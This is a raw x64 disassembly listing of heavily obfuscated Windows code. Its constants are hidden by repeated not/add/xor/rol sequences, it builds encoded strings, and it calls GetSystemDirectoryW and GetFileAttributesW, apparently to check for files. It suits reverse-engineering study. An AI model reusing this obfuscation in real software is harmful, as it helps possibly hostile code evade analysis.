rol r13d, 0x4f
popf
xor r13w, r12w
mov word [rbp + 0x30], r13w
movzx r13d, word [rsp + 0x52]
xor r13w, r12w
mov word [rbp + 0x32], r13w
mov r13d, 0x5618ab95
pushf
not r13d
add r13d, 0xe9228d37
xor r13d, 0xa291d13c
rol r13d, 0x99
popf
pushf
not r13d
add r13d, 0xf0179b9f
xor r13d, 0xb7b46b3d
rol r13d, 0xb
popf
xor r13w, r12w
mov word [rbp + 0x34], r13w
mov r13d, 0x39e10cb7
pushf
not r13d
add r13d, 0xe1a28201
xor r13d, 0x867aeeb3
rol r13d, 0xa9
popf
pushf
not r13d
add r13d, 0xbc921c82
xor r13d, 0x84375faf
rol r13d, 0x23
popf
pushf
not r13d
add r13d, 0xa2541972
xor r13d, 0xebab2c80
rol r13d, 0xbe
popf
pushf
not r13d
add r13d, 0x9e069fc8
xor r13d, 0xbeb5cbaf
rol r13d, 0x17
popf
xor r13w, r12w
mov word [rbp + 0x36], r13w
mov r13d, 0xa2d0d79d
pushf
not r13d
add r13d, 0xeda57ade
xor r13d, 0xc2fd24c3
rol r13d, 0x3f
popf
pushf
not r13d
add r13d, 0xb8c0916b
xor r13d, 0xddabcda9
rol r13d, 0x88
popf
xor r13w, r12w
mov word [rbp + 0x38], r13w
mov r13d, 0x2d39da59
pushf
not r13d
add r13d, 0xbd99761f
xor r13d, 0x964e5619
rol r13d, 0xf4
popf
pushf
not r13d
add r13d, 0xda892ca4
xor r13d, 0xfcc8cb7f
rol r13d, 0xde
popf
xor r13w, r12w
mov word [rbp + 0x3a], r13w
mov r13d, 0x83838517
pushf
not r13d
add r13d, 0xf628a26f
xor r13d, 0x87ff4a2c
rol r13d, 0x12
popf
pushf
not r13d
add r13d, 0xedeb52ed
xor r13d, 0xe52692ae
rol r13d, 0xb2
popf
pushf
not r13d
add r13d, 0x823a28ce
xor r13d, 0xffe8ec7b
rol r13d, 0x89
popf
pushf
not r13d
add r13d, 0xc9e5fd3e
xor r13d, 0xf0c3a069
rol r13d, 0x5b
popf
xor r13w, r12w
mov word [rbp + 0x3c], r13w
xor r15d, r15d
xor r15w, r12w
mov word [rbp + 0x3e], r15w
mov r13d, 0x2f07f721
pushf
not r13d
add r13d, 0xf3ff3be9
xor r13d, 0x91941fac
rol r13d, 0xd0
popf
pushf
not r13d
add r13d, 0xd32e5fea
xor r13d, 0xbd6069af
rol r13d, 0xb6
popf
pushf
not r13d
add r13d, 0xad9ecc8f
xor r13d, 0xabec7022
rol r13d, 0xec
popf
pushf
not r13d
add r13d, 0x8df980de
xor r13d, 0x8e403c51
rol r13d, 0x4c
popf
xor r13w, r12w
mov word [rbp + 0x40], r13w
movzx r13d, word [rsp + 0x50]
xor r13w, r12w
mov word [rbp + 0x42], r13w
mov r13d, 0xf4897436
pushf
not r13d
add r13d, 0xd3097040
xor r13d, 0xdb7f8818
rol r13d, 0xaa
popf
pushf
not r13d
add r13d, 0x82f8ae02
xor r13d, 0x81286a1d
rol r13d, 0xfc
popf
xor r13w, r12w
mov word [rbp + 0x44], r13w
movzx r13d, word [rsp + 0x4e]
xor r13w, r12w
mov word [rbp + 0x46], r13w
movzx r13d, r12w
xor r13w, r12w
mov word [rbp + 0x48], r13w
movzx r13d, word [rsp + 0x4c]
xor r13w, r12w
mov word [rbp + 0x4a], r13w
movzx r13d, word [rsp + 0x4a]
xor r13w, r12w
mov word [rbp + 0x4c], r13w
movzx r13d, word [rsp + 0x48]
xor r13w, r12w
mov word [rbp + 0x4e], r13w
movzx r13d, word [rsp + 0x46]
xor r13w, r12w
mov word [rbp + 0x50], r13w
movzx r13d, word [rsp + 0x44]
xor r13w, r12w
mov word [rbp + 0x52], r13w
movzx r13d, word [rsp + 0x42]
xor r13w, r12w
mov word [rbp + 0x54], r13w
movzx r12d, word [rsp + 0x2e]
mov r13d, 0x748cc49a
pushf
not r13d
add r13d, 0xde277446
xor r13d, 0xc137b3ed
rol r13d, 0x1b
popf
pushf
not r13d
add r13d, 0xd90bf634
xor r13d, 0xf9317857
rol r13d, 0x56
popf
pushf
not r13d
add r13d, 0xf20864ac
xor r13d, 0x8071a6ac
rol r13d, 0x45
popf
xor r12w, r13w
mov word [rbp + 0x56], r12w
movzx r15d, word [rsp + 0x2c]
xor r15w, r13w
mov word [rbp + 0x58], r15w
xor r14w, r13w
mov word [rbp + 0x5a], r14w
xor si, r13w
mov word [rbp + 0x5c], si
xor di, r13w
mov word [rbp + 0x5e], di
xor bx, r13w
mov word [rbp + 0x60], bx
xor r11w, r13w
mov word [rbp + 0x62], r11w
xor r10w, r13w
mov word [rbp + 0x64], r10w
xor r9w, r13w
mov word [rbp + 0x66], r9w
xor r8w, r13w
mov word [rbp + 0x68], r8w
xor dx, r13w
mov word [rbp + 0x6a], dx
xor cx, r13w
mov word [rbp + 0x6c], cx
xor ax, r13w
mov word [rbp + 0x6e], ax
xor ebx, ebx
mov word [rbp + 0x70], bx
xorps xmm0, xmm0
movups xmmword [rbp + 0x290], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x2a0], xmm1
lea rcx, [rbp + 0x22]
mov rax, 0xffffffffffffffff
push rax
pushf
mov eax, 0xd7f5f4e9
pushf
not eax
add eax, 0x8e04fbca
xor eax, 0x8a867064
rol eax, 0xcd
popf
pushf
not eax
add eax, 0xf4adc3ed
xor eax, 0x8711f825
rol eax, 0x69
popf
pushf
not eax
add eax, 0x99d5d91b
xor eax, 0xb249dcbf
rol eax, 0xa0
popf
pushf
not eax
add eax, 0x9fb58f23
xor eax, 0xedb0caf8
rol eax, 0xf6
popf
jmp 0x14027e8ce
inc rax
cmp word [rcx + rax*2], bx
jne 0x1402835c9
push rax
pushf
mov eax, 0x5038a87
pushf
not eax
add eax, 0x8dc437c4
xor eax, 0xdeb9ff3a
rol eax, 0x6e
popf
pushf
not eax
add eax, 0xe0f89091
xor eax, 0x948e8944
rol eax, 0x6b
popf
pushf
not eax
add eax, 0x88d4872e
xor eax, 0xc536f266
rol eax, 0xd7
popf
jmp 0x14027e8ce
push rax
pushf
mov eax, 0x14f822a5
pushf
not eax
add eax, 0xd6cc3de8
xor eax, 0xb9dd0ae3
rol eax, 0x4e
popf
pushf
not eax
add eax, 0xc58cf530
xor eax, 0x83fa27d0
rol eax, 0x7d
popf
pushf
not eax
add eax, 0x96296ecc
xor eax, 0xd97068ca
rol eax, 0xea
popf
pushf
not eax
add eax, 0xe5fb27d4
xor eax, 0xff398f21
rol eax, 0xa8
popf
jmp 0x14027e8ce
mov r8, rax
lea rdx, [rbp + 0x22]
lea rcx, [rbp + 0x290]
call fcn.1401f6dc0
nop
xorps xmm0, xmm0
movdqu xmmword [0x14010a7a0], xmm0
mov qword [0x14010a7b0], rbx
mov ecx, 0xd1f9d0db
pushf
not ecx
add ecx, 0x87fb1c14
xor ecx, 0xd0cd4aee
rol ecx, 0xf6
popf
pushf
not ecx
add ecx, 0xf79fba36
xor ecx, 0x92060735
rol ecx, 0x6c
popf
call fcn.14012f3ec
mov rbx, rax
mov qword [0x14010a7a0], rax
mov qword [0x14010a7a8], rax
lea rcx, [rax + 0x100]
mov qword [0x14010a7b0], rcx
lea rcx, [0x1a224ccac]
pushf
sub rcx, 0x6214250c
popf
mov qword [rsp + 0x30], rcx
lea rdi, [rbp + 0x1b0]
xorps xmm0, xmm0
movups xmmword [rbp + 0x2b0], xmm0
mov qword [rbp + 0x2b0], rax
mov qword [rbp + 0x2b8], rax
mov qword [rbp + 0x2c0], rcx
nop
push rax
pushf
mov eax, 0x1a134670
pushf
not eax
add eax, 0xc2f22a5b
xor eax, 0x8e6dc800
rol eax, 0x35
popf
pushf
not eax
add eax, 0xec58f2d1
xor eax, 0x903625b7
rol eax, 0x50
popf
pushf
not eax
add eax, 0x9bac421c
xor eax, 0xca56de12
rol eax, 0xd3
popf
pushf
not eax
add eax, 0xde65cc62
xor eax, 0xf7906f95
rol eax, 0x4d
popf
jmp 0x14027e8ce
mov rdx, rdi
mov rcx, rbx
call fcn.1401a8894
add rbx, 0x20
mov qword [rbp + 0x2b8], rbx
add rdi, 0x20
lea rax, [rbp + 0x2b0]
cmp rdi, rax
jne 0x1402837b2
push rax
pushf
mov eax, 0xe9fea9be
pushf
not eax
add eax, 0xd10cb9cd
xor eax, 0xefb38b4b
rol eax, 0x75
popf
pushf
not eax
add eax, 0x9fb9e890
xor eax, 0xfcd4e558
rol eax, 0xba
popf
pushf
not eax
add eax, 0xcbe3562f
xor eax, 0x974fe323
rol eax, 0x12
popf
pushf
not eax
add eax, 0xb1462b46
xor eax, 0x83596b56
rol eax, 0x48
popf
jmp 0x14027e8ce
push rax
pushf
mov eax, 0xbe455be6
pushf
not eax
add eax, 0x95f0060c
xor eax, 0xbe395b05
rol eax, 0x95
popf
pushf
not eax
add eax, 0xc273027b
xor eax, 0xd1c237ab
rol eax, 0x4a
popf
pushf
not eax
add eax, 0xfdc5fb4d
xor eax, 0xbf1498ff
rol eax, 0x32
popf
pushf
not eax
add eax, 0xb141a3a8
xor eax, 0x944a17e7
rol eax, 0xec
popf
jmp 0x14027e8ce
mov rdx, rbx
mov rcx, rbx
call fcn.1401b68cb
mov qword [0x14010a7a8], rbx
lea r9, [0x1a14881bd]
pushf
sub r9, 0x614785fd
popf
mov edx, 0xb4a32105
pushf
not edx
add edx, 0xdd9a25fb
xor edx, 0xe3a86277
rol edx, 0xd5
popf
pushf
not edx
add edx, 0xc9b93a7e
xor edx, 0xf95fce99
rol edx, 0x42
popf
lea r8d, [rdx - 0x18]
lea rcx, [rbp + 0x1b0]
call fcn.1402d85bc
lea rcx, [0x1856cc59c]
pushf
sub rcx, 0x4565f18c
popf
call fcn.1401d83ff
nop
lea rcx, [0x1823c6819]
pushf
sub rcx, 0x422bc059
popf
call fcn.14030138f
push rax
pushf
mov eax, 0x741a9c4d
pushf
not eax
add eax, 0xed46f7b6
xor eax, 0xcc5e8fd2
rol eax, 0x1f
popf
pushf
not eax
add eax, 0xaf556b90
xor eax, 0xb2b122cf
rol eax, 0x90
popf
pushf
not eax
add eax, 0x8cddb0f0
xor eax, 0xe61f0327
rol eax, 0x77
popf
pushf
not eax
add eax, 0xa71ea430
xor eax, 0xb457439f
rol eax, 0x5e
popf
jmp 0x14027e8ce
mov rbx, qword [0x14010a7a0]
mov rdi, qword [0x14010a7a8]
cmp rbx, rdi
je 0x140283962
push rax
pushf
mov eax, 0x9ea3989c
pushf
not eax
add eax, 0xbbdee992
xor eax, 0x8115e7cc
rol eax, 0x1a
popf
pushf
not eax
add eax, 0xb61a7b21
xor eax, 0xd5fb94d5
rol eax, 0xb3
popf
pushf
not eax
add eax, 0xff96c97c
xor eax, 0x95ece40b
rol eax, 0xf
popf
pushf
not eax
add eax, 0xb982454b
xor eax, 0xf010ddd8
rol eax, 0x43
popf
jmp 0x14027e8ce
push rax
pushf
mov eax, 0xe72e551
pushf
not eax
add eax, 0xe3893fdc
xor eax, 0xc1da8e16
rol eax, 0xa4
popf
pushf
not eax
add eax, 0xd7c86459
xor eax, 0xb91662eb
rol eax, 0x33
popf
pushf
not eax
add eax, 0xa906f70a
xor eax, 0xe5255785
rol eax, 0x20
popf
jmp 0x14027e8ce
mov edx, 0xf7ba675e
pushf
not edx
add edx, 0xa6b311c1
xor edx, 0xf776cfea
rol edx, 0xe6
popf
pushf
not edx
add edx, 0xfc4ef89b
xor edx, 0x9ca59684
rol edx, 0xe
popf
lea rcx, [rbp + 0x2f0]
jmp 0x1402839df
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x140283a1c
push rax
pushf
mov eax, 0x9a89c2d
pushf
not eax
add eax, 0xbc74827d
xor eax, 0x9641c9e1
rol eax, 0xab
popf
pushf
not eax
add eax, 0xd614b016
xor eax, 0xf4973ef0
rol eax, 4
popf
jmp 0x14027e8ce
push rax
pushf
mov eax, 0x638e7ef4
pushf
not eax
add eax, 0xcbdb09ba
xor eax, 0xb8495a51
rol eax, 5
popf
pushf
not eax
add eax, 0xe38230e6
xor eax, 0xc987d896
rol eax, 0x7a
popf
pushf
not eax
add eax, 0xbc99a582
xor eax, 0x97985ab0
rol eax, 0xfc
popf
pushf
not eax
add eax, 0x99b68632
xor eax, 0x9caf4265
rol eax, 0x84
popf
jmp 0x14027e8ce
mov r8, rbx
cmp qword [rbx + 0x18], 8
jb 0x140283ac5
push rax
pushf
mov eax, 0xbbe840af
pushf
not eax
add eax, 0x9dfaa9d8
xor eax, 0xa37a3bcd
rol eax, 0x2c
popf
pushf
not eax
add eax, 0xf1cad112
xor eax, 0xac2cf0f5
rol eax, 4
popf
pushf
not eax
add eax, 0xc1fbbdee
xor eax, 0xb692fd01
rol eax, 0xae
popf
jmp 0x14027e8ce
push rax
pushf
mov eax, 0x51f20c32
pushf
not eax
add eax, 0xf7b1d73c
xor eax, 0x989d208e
rol eax, 0x60
popf
pushf
not eax
add eax, 0x850d3011
xor eax, 0xacbf7289
rol eax, 0xac
popf
pushf
not eax
add eax, 0xf8538b95
xor eax, 0xa4ea7cdf
rol eax, 0x90
popf
jmp 0x14027e8ce
mov r8, qword [rbx]
push rax
pushf
mov eax, 0xca955c2d
pushf
not eax
add eax, 0xb40cd12a
xor eax, 0x97c71c35
rol eax, 0xb5
popf
pushf
not eax
add eax, 0xe44404a8
xor eax, 0xf3c15fed
rol eax, 0xc0
popf
pushf
not eax
add eax, 0xee2ef811
xor eax, 0xb5918699
rol eax, 0xad
popf
jmp 0x14027e8ce
mov edx, 0x30ea3fdb
pushf
not edx
add edx, 0x83689869
xor edx, 0x8fc9da4b
rol edx, 0x83
popf
pushf
not edx
add edx, 0x8b10f1b0
xor edx, 0xbdd4db79
rol edx, 0x6b
popf
lea rcx, [rbp + 0x2f0]
call fcn.1401773a5
lea rcx, [rbp + 0x2f0]
jmp 0x140283b97
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x140283bfb
push rax
pushf
mov eax, 0xd9a274fb
pushf
not eax
add eax, 0xf0ff205f
xor eax, 0xb1400676
rol eax, 0xd0
popf
pushf
not eax
add eax, 0xea9b950f
xor eax, 0xa0ab7569
rol eax, 0xfc
popf
pushf
not eax
add eax, 0xb0eb7d1a
xor eax, 0xbb391977
rol eax, 0xfd
popf
pushf
not eax
add eax, 0x9aabee13
xor eax, 0xb127bf90
rol eax, 0x7b
popf
jmp 0x14027e8ce
push rax
pushf
mov eax, 0x6a3b20df
pushf
not eax
add eax, 0xbc2b7ff7
xor eax, 0xc405cdfd
rol eax, 0xaa
popf
pushf
not eax
add eax, 0xcbd6cff3
xor eax, 0xe238d23a
rol eax, 0x8d
popf
pushf
not eax
add eax, 0xc25f15bd
xor eax, 0xd2472338
rol eax, 0xf8
popf
pushf
not eax
add eax, 0xea6d9b0b
xor eax, 0xd3dc6d39
rol eax, 0xa7
popf
jmp 0x14027e8ce
add rbx, 0x20
cmp rbx, rdi
jne 0x140283cb6
push rax
pushf
mov eax, 0x5491cbf4
pushf
not eax
add eax, 0xdb416591
xor eax, 0xa6753d6f
rol eax, 0x6f
popf
pushf
not eax
add eax, 0xc7b95d5f
xor eax, 0xb741b38c
rol eax, 0x8f
popf
pushf
not eax
add eax, 0xa8fe645c
xor eax, 0xf046ee22
rol eax, 0x84
popf
pushf
not eax
add eax, 0x89b98e79
xor eax, 0xf222bae3
rol eax, 0x1e
popf
jmp 0x14027e8ce
push rax
pushf
mov eax, 0xf0fbc5cf
pushf
not eax
add eax, 0xd22de02f
xor eax, 0xa3d4b087
rol eax, 0xe6
popf
pushf
not eax
add eax, 0xd91d99bc
xor eax, 0x964cf152
rol eax, 0x28
popf
pushf
not eax
add eax, 0xebf083d6
xor eax, 0xbbdd8a4c
rol eax, 0x68
popf
jmp 0x14027e8ce
mov rcx, qword [rbp + 0x500]
xor rcx, rsp
call fcn.14027ae25
lea r11, [rsp + 0x610]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov byte [rsp + 0x30], 0x4d
mov al, 0x41
pushf
not al
add al, 0x5d
xor al, 0x97
rol al, 0x52
popf
pushf
not al
add al, 0x3a
xor al, 0x9a
rol al, 0xa1
popf
mov cl, 0xe6
pushf
not cl
add cl, 0x43
xor cl, 0x83
rol cl, 0xf1
popf
pushf
not cl
add cl, 0x4e
xor cl, 0x2b
rol cl, 0x14
popf
pushf
not cl
add cl, 0x76
xor cl, 0x19
rol cl, 0x2c
popf
xor edx, edx
xor al, 0x4d
mov byte [rsp + 0x31], al
xor cl, 0x4d
mov byte [rsp + 0x32], cl
mov byte [rsp + 0x33], dl
lea rdx, [rsp + 0x31]
lea rcx, [rbp + 0x2b0]
call fcn.14026402a
mov r8d, 0x6709f5e9
pushf
not r8d
add r8d, 0xc2be964c
xor r8d, 0x90ee6566
rol r8d, 0xfd
popf
pushf
not r8d
add r8d, 0xdb12ebe7
xor r8d, 0x9a6e3623
rol r8d, 0xa3
popf
pushf
not r8d
add r8d, 0xcb2aee2b
xor r8d, 0xc515b140
rol r8d, 0xff
popf
pushf
not r8d
add r8d, 0xac3936b4
xor r8d, 0x9754fcd4
rol r8d, 0x41
popf
mov rdx, rax
call fcn.1402e9764
int3